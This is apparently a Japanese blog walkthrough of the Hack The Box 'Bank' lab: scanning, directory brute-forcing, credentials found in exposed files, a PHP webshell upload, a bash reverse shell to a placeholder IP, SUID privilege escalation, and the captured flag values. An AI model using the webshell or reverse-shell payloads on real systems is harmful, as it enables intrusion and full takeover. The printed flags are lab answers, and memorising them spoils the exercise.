Hack The Box – Bank – Walkthrough

トレーニングコンテンツ:「Hack The Box」を触り始めてみたの通り、Bankを攻略してみた。

Hack The Box に接続して、Bankを起動

nmapにて80番が公開されていることを確認

# nmap -A -n -F -T5 bank.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-02 03:55 UTC
Nmap scan report for bank.htb (10.10.10.29)
Host is up (0.048s latency).
Not shown: 97 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
|   2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
|   256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
|_  256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
53/tcp open  domain  ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid:
|_  bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
| http-title: HTB Bank - Login
|_Requested resource was login.php
...

ログインページがあることを確認。

gobusterにてbalance-transferディレクトリを見つけ、認証情報を取得

# apt install gobuster seclists
# gobuster dir -u http://bank.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://bank.htb
[+] Threads:        10
[+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/08/02 05:37:13 Starting gobuster
===============================================================
/uploads (Status: 301)
/assets (Status: 301)
/inc (Status: 301)
/server-status (Status: 403)
/balance-transfer (Status: 301)
===============================================================
2020/08/02 07:26:30 Finished
===============================================================

balance-transferにアクセスする。サイズが小さいファイルに認証情報が存在する。

reverseshellを設置

先ほどの認証情報でログインすると、アップロードページがある。まずはwebshellをアップロードしてみる。

<pre><?php system($_GET["cmd"]);?></pre>

コマンドが実行できるようになる。

次にリバースシェルをアップロードする。

<?php
exec("/bin/bash -c 'bash -i > /dev/tcp/10.10.x.x/1234 0>&1'");

1234番ボートで待ち受けて、シェルを取得する。SUIDがあるファイルを実行するとrootになれる。

# nc -nvlp 1234
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.17.0.1.
Ncat: Connection from 172.17.0.1:60578.

pwd
/var/www/bank/uploads

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

cat /home/chris/user.txt
37c97f8609f361848d8872098b0721c3

find / -perm -u=s -type f 2>/dev/null
/var/htb/bin/emergency
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/traceroute6.iputils
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/mtr
/usr/sbin/uuidd
/usr/sbin/pppd
/bin/ping
/bin/ping6
/bin/su
/bin/fusermount
/bin/mount
/bin/umount

id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)

cat /root/root.txt
d5be56adc67b488f81a4b9de30c8a68e

取得した2つのフラグを入力して完了!